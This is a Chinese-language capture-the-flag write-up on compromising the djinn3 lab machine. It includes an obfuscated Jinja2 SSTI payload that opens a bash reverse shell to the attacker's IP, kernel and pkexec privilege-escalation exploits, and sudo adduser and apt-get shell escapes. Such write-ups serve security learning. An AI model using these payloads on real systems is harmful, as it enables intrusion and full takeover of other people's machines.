提示:本文记录了作者一次曲折的打靶提权经历
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
通过下面命令进行全端口扫描。
$ sudo nmap -p- 192.168.65.133
通过下面命令枚举一下开放的端口上运行了哪些服务。
$ sudo nmap -p22,80,5000,31337 -A -sV -sT 192.168.65.133
端口上的服务都枚举出来了,80端口上运行了1.4.45版本的lighttpd;5000端口上运行了1.0.1版本的Werkzeug httpd;31337端口上运行了一个不太知道的东西Elite?升级一下nmap重新扫描试试看,还是同样的效果,不纠结了。
$ dirsearch -u 192.168.65.133
除了首页index.html之外,其它的都是403,并且index.html页面所有的点击都没有实质反映。
没有什么可用的手法,那就看看有没有公共EXP吧。
感觉除了一个mod_userdir信息披露的EXP,其它的都不靠谱,直接看看这个。
这个EXP针对的是1.4.18版本,不适合,手工试了一下,确实也发现不了啥。直接google一下看看这个版本上有没有漏洞吧。
貌似还真有,看一下。在cve.report上(https://cve.report/software/lighttpd/lighttpd),发现了完整的lighttpd的漏洞情况,其中有两个值得我们关注。
逐个看一下。
仔细查看了一下,这个漏洞主要是输入验证错误会引起DOS,这个跟我们期望建立反弹shell的目标不符。
这个是目录遍历的漏洞,可惜的是没有找到合适的EXP,只得放弃。
直接通过浏览器看看
貌似是一个简单的bug跟踪管理,每个link都会指向类似如下所示的页面。
除此之外没有其它的发现。
直接搜索一下EXP看看。
第一个是路径遍历的,虽然不会帮我们构建反弹shell,但是可能提供一些有用的信息;后面两个是有可能建立反弹shell的,都试一下看看。
从代码里面可以看出这个不可行,只适合0.15.5之前的版本,我们当前是1.0.1。
看了一下脚本,没啥大问题,在kali上开启监听6666端口,然后直接运行试试看。
$ python2 43905.py 192.168.65.133 5000 192.168.65.202 6666
报错了,把EXP的请求url中的console去掉,如下所示。
然后再次执行试试,还是报同样的问题,直接用Metasploit试试第三个EXP。
直接搜索一下关键字Werkzeug。
还真是有对应的EXP,并且也是远程代码执行的,赶紧试试看。
msf6 > use exploit/multi/http/werkzeug_debug_rce
msf6 exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.65.133
msf6 exploit(multi/http/werkzeug_debug_rce) > set RPORT 5000
msf6 exploit(multi/http/werkzeug_debug_rce) > set TARGETURI /
msf6 exploit(multi/http/werkzeug_debug_rce) > run
也是失败的,看看能不能在Metasploit用我们在searchsploit里面搜索出来的第三个ruby脚本。
不用试了,基本宣告失败,这个EXP在0.10或者更老的版本上才可以。
完全不知道这个Elite是个什么鬼,直接分别用浏览器和nc访问一下看看
浏览器访问异常,不过是有反应的,再用nc试试看。
通过nc访问的时候,需要输入用户名密码验证。还记得前面那个5000端口上的页面吗?里面涉及到好几个用户名相关的信息,我们说不定可以找到登录的用户名或者密码之类的。
好家伙,这么多用户,并且在第一个里面还特意提到了要添加密码复杂度的检查,看来这里可能还有弱密码,逐个试试吧。
额,有些意外,第一个就试出来了。顺便试试看另外几个吧。
其它几个都不行,还是在guest用户下看一下help信息再说。
就这几个命令,目前还看不出什么破绽,分别运行一下update、open、close看看再说,按道理应该是有信息输入的。
确实需要输入信息,并且结合前面5000端口上的页面中第三个ticket的表述,后台应该还有postgres数据库。
这里有可能有sql注入的问题;另外很重要的一点就是这里31337端口和5000端口的服务是一个系统,31337端口为了输入,5000端口为了展示。我们通过close命令尝试吧第一个ticket(编号2792)给close一下试试看。
再去5000端口刷新一下,看看2792编号的第一个ticket状态。
直接关闭掉了,原来的第二个ticket现在编程了序号1的。不过目前完全看不到应该怎么进行注入会比较好。再回过头去扒一扒我们之前的端口扫描和服务枚举阶段得到的信息。
个人感觉应该还是要搞清楚这是个什么服务,才有可能更好的攻击,分别搜索一下这个werkzeug(werkzeug 5000/tcp)和upnp(upnp 5000/tcp)具体是干什么的。搜索的结果感觉挺乱的,大致是这么个意思(如果说错了随时指出哈):首先,很多的Flask应用都会监听5000端口(https://developer.apple.com/forums/thread/682332
),并且upnp本身就是“Universal Plug and Play”的缩写,是一种通用即插即用的协议;其次,werkzeug貌似是一个广泛的WSGI(Web Server Gateway Interface)库,而Flask貌似是基于werkzeug开发的(https://blog.csdn.net/lovedingd/article/details/106685914
)。但是这貌似和sql注入没啥关系啊,直接google一下flask injection吧。
看来有戏啊,直接联想出来了好多。SSTI出现了两次,Jinja2出现了两次,template出现了三次,看来基本上就跟这三者有关系了。先看看SSTI和Jinja2是啥东西吧(没办法,知识面太窄了)。
首先,SSTI全称就是Server-Side Template Injection,服务端模板注入,是一种注入漏洞(确实是注入,不过跟SQL注入没关系)。
另外,Jinja2本身就是基于python的模板引擎。
这一下子全串起来了啊!Flask用了Jinja2模板引擎,就可能会有SSTI的漏洞,这种漏洞的EXP应该是基于python的。接下来就是找找这类payload,看看怎么在我们的31337端口上添加ticket的时候注入进去。有一篇文章(https://kleiber.me/blog/2021/10/31/python-flask-jinja2-ssti-example/
),把整个Jinja2的SSTI讲述的非常清楚,就是有些长,我没有完全看完,快速浏览了一下他的POC。
直接在我们的靶机上添加一个ticket试一下。
想的太简单了,这里的id是随机生成的,看来不太好直接用上面的POC。不过文章中也给出了远程命令执行和绕过过滤的一些方法和思考。
我们参照上图中标出的payload,将payload作为ticket的title试试看,左侧是原始的payload,右侧是做了防止过滤处理的payload。最终,我们的payload如下。
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("whoami")|attr("read")()}}
我们把上面这一串作为ticket的title,添加一个ticket。
然后去5000端口上看看。
确实新增了一个ticket,并且我们的payload作为了title,我们点击link打开看看。
whoami命令的结果作为了我们新打开页面的title。接着,我们把下面的内容作为title,新添加一个ticket。
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.65.202/6666 0>&1'")|attr("read")()}}
然后在kali上监听6666端口,并从5000端口上打开新添加的ticket。
反弹shell建立成功,进一步验证一下,确实没啥问题。
优化一下shell,然后试一下弱密码。
$ /usr/bin/python3.6 -c "import pty;pty.spawn('/bin/bash')"
$ find / -type f -user root -perm -o=w 2>/dev/null | grep -v "/sys/" | grep -v "/proc/"
没有理想的结果,再看看具备SUID的可执行文件(下面命令三选一)。
$ find / -user root -perm -4000 -print 2>/dev/null
$ find / -perm -u=s -type f 2>/dev/null
$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
有两个比较可疑,一个是之前提到过的pkexec,一个是之前没见过的at,先查看一下pkexec的版本。
直接将之前在ubuntu 16上编译好的cve-2021-4034上传到靶机的/tmp目录下,然后执行。
嗯,这个漏洞在靶机上也是被修复过的,接下来上网查查at命令是干啥的。通过搜索,貌似是一个启动单次计划执行任务的工具,貌似也没找到这个命令可以提权的方法,暂时放弃。
先看看反弹shell建立的默认目录/opt/.web。
分别查看一下,发现data.json里面存放的是我们5000端口的页面上显示的ticket信息;static下面是静态文件;templates下面也没啥特殊的;webapp.py脚本也没有什么我们感兴趣的。然后直接到home目录看看。
不过这三个用户都不允许查看。
我们的Ubuntu版本是18.04.4,内核版本是4.15.0-101,先搜索一下。
目前落在我们版本范围的就上图中的1个,切换一下关键词。
也是只有上图一个,因为涉及pkexec的我们前面刚刚试过了,接下来重点试试这两个。其中后面这个50135.c之前我们用过,直接拿Ubuntu上编译好的上传运行。
失败了,再看看前面一个46978.sh。
EXP里面的步骤写的非常清楚,直接一步一步执行就好了。先下载build-alpine脚本。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
切换到root用户,然后执行build-alpine脚本。
$ su root
# bash build-alpine
将46978.sh和编译出来的alpine-v3.17-x86_64-20230409_0754.tar.gz上传到靶机,然后在靶机执行。
$ chmod 775 46978.sh
$ chmod 775 alpine-v3.17-x86_64-20230409_0754.tar.gz
$ ./46978.sh -f alpine-v3.17-x86_64-20230409_0754.tar.gz
Executing Linux Exploit Suggester下面的CVE漏洞中,exposure值最高的也不过是probable,暂时略过。接下来就是SUID的相关信息,如下。
我们重点看一下snap-confine,貌似有个CVE-2019-7304的漏洞可以提权,虽然是2.28~2.37版本上存在,但是在2.42版本上据说也是可以提权的,我们靶机的版本也是2.42版本。
直接试试吧,先下载脏牛代码。
$ git clone https://github.com/initstring/dirty_sock.git
打包。
$ tar cvf dirty_sock.tar dirty_sock
上传到靶机,然后解包。
$ tar xf dirty_sock.tar
$ cd dirty_sock
$ python3 dirty_sockv2.py
额,linpeas不靠谱啊,这个漏洞也是被堵上了。还有一个漏洞没有使用,那就是CVE-2022-2588,这个也是咱们的linpeas扫描出来的。
之前用这个漏洞从来没有提权成功过,既然linpeas都扫描出来了,我们还是试一下。从git上clone代码,并打包上传到目标靶机。
$ git clone https://github.com/Markakd/CVE-2022-2588.git
$ tar cvf CVE-2022-2588.tar CVE-2022-2588
$ python3 -m http.server 80
在目标靶机上下载解包,并进入目录。
$ wget http://192.168.65.202/CVE-2022-2588.tar
$ tar xf CVE-2022-2588.tar
$ cd CVE-2022-2588
修改一下执行权限,然后执行
$ chmod 775 *
$ ./exp_file_credential
竟然执行成功了,太惊喜了,EXP默认创建的用户名密码都是user,我们查看一下/etc/passwd,然后切换到user用户试试。
$ head -n 4 /etc/passwd
$ su user
这个flag有些奇怪,竟然是个shell,看看里面的内容。
执行一下看看。
搞定。
pspy是一个非常有用的命令行工具,可以在无root权限的情况下监控linux进程。
从git上(https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
)下载pspy64,并上传到目标靶机运行,如下图所示。
最终,我们发现了一个比较有意思的现象。saint用户下有个syncer.py的python脚本,每间隔三分钟就运行一次。
这里可能是我们提权的突破口,我们仔细看看saint用户下还有些什么干货,看是否可以从www-data用户切换到saint用户,然后再执行提权工作。
先看看siant用户有没有终端权限。
$ cat /etc/passwd | grep saint
嗯,妥妥的,没啥问题。然后看看saint用户下还有些啥。
也没啥,就是这两个临时文件。
在/opt启动简单的python http服务。
$ /usr/bin/python3.6 -m http.server
$ wget http://192.168.65.133:8000/.configuration.cpython-38.pyc
$ wget http://192.168.65.133:8000/.syncer.cpython-38.pyc
$ xxd .configuration.cpython-38.pyc > configuration.pyc
$ xxd -r configuration.pyc config.pyc
然后通过在线反编译工具(我用的https://www.lddgo.net/string/pyc-compile-decompile
)将config.pyc上传即可反编译成python源码。用同样的方法,把.syncer.cpython-38.pyc也反编译一下。反编译出来的两个文件的内容如下。
从代码中我们基本可以看出,syncer.py脚本定义了main函数入口,并且提供了三种连接类型:FTP、SSH、URL;另外调用了configuration.py中的两个方法set_config_path和read_config;分别是设置配置路径和读取配置信息。再看configuration.py脚本,set_config_path函数中,获取当前用户home目录下的所有json文件,以及/tmp目录下的所有json文件,然后合并成一个名为files的列表;当列表长度大于2的时候,设置files前两个元素的路径,然后比较当前用户home目录下的json文件名中的时间和/tmp目录下json文件名中的时间,根据比较结果返回对应的json文件。梳理清楚了代码,我们基本上知道下一步应该做什么了。
这里我们的主要目的是想办法切换到saint用户,我们可以尝试在kali上生成一对ssh密钥,然后通过上述脚本把公钥上传到saint用户的.ssh目录下面,这样就可以通过密钥免密码登录saint用户。
先在kali上生成一个名为11-04-2023.config.json的文件,内容如下。
理论上,通过上述json,我们可把kali上本地生成的ssh key上传到靶机上去,我们先通过ssh-keygen命令在kali当前用户的.ssh目录下生成一对密钥。
$ ssh-keygen
这样就在kali上当前用户的.ssh目录下生成了一对密钥,如下图。
将公钥(id_rsa.pub)拷贝一份命名为前面的authorized_keys,然后在kali当前用户的.ssh下启动apache服务。
然后将我们前面创建的11-04-2023.config.json文件上传到目标靶机的/tmp目录下,等待大概3分钟(最长3分钟),看卡里本地用户.ssh目录下的apache上是否会有请求响应。大概不到1分钟,kali本机有反应了,如下。
直接尝试从kali上登录目标靶机的saint用户。
在saint用户下,直接用sudo -l查看一下有没有可以直接利用的可执行文件。
这是啥玩意儿?不用密码可以直接sudo权限执行adduser命令,太爽了,直接添加一个root组的用户(这里添加一个root2,密码是root)应该就可以搞定了。
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 root2
然后切换到我们刚创建好的root2用户,获取一下flag。
但是这个用户是没法获取flag的,如下图。
我们尝试修改passwd写入一个用户。
$ sudo echo "testusr: $1$3O8dQj0v$5XYgt5JIss5Xa/Lp97mvu.:0:0:root:/root:/bin/bash" >> /etc/passwd
root2@djinn3:/home/saint$ cat /etc/sudoers
我们首先尝试是否能够修改sudoers文件,看在上图中插入一行 “saint ALL=(ALL:ALL) ALL
”,另外一个就是看看这里面提到的另一个用户jason看看是不是可以利用,他是具有apt-get执行权限的。
嗯,看来是没有权限修改的,只能打jason用户的主意了,先看看/etc/passwd文件,之前对这个用户没啥印象。
额,/etc/passwd下竟然没有这个用户,既然我们的saint可以不用密码执行adduser,我们退出当前的root2用户,然后在saint用户下,用同样的手法创建一个jason用户,密码就用jason。
saint@djinn3:~$ sudo /usr/sbin/adduser --gid 0 jason
切换到jason用户,不过现在还不知道apt-get这个命令怎么用来提权,上网搜索一下,有些不同的手法(https://gtfobins.github.io/gtfobins/apt-get/#sudo
)。
我们分别试一下。
(a) 使用changelog
jason@djinn3:/home/saint$ sudo apt-get changelog apt
别人是成功的,但是我这里一直是失败的,貌似是靶机不通外网导致的。
(b) 使用TF
jason@djinn3:/home/saint$ TF=$(mktemp)
jason@djinn3:/home/saint$ echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF
jason@djinn3:/home/saint$ sudo apt-get install -c $TF sl
jason@djinn3:/home/saint$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh